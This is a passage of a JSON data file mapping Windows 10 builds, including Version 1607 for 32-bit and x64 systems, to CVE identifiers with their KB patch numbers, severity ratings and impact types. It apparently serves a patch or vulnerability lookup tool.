Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163018\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185614\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198586\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013198\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019473\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019473\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041689\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041689\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048952\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053578\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022714\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025344\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038783\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074591\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093109\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2016-3237\",\"kb\":\"3194798\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3189866\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3200970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048953\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053579\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025339\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0882\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343887\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093119\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487026\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503267\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537764\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003638\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601318\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004948\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005573\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006669\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014702\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029242\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025228\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026363\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073722\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028169\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031362\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041773\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043051\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048671\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049993\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055521\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061010\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066836\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062560\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062560\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2016-3237\",\"kb\":\"3194798\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3189866\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3200970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048953\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053579\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025339\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of 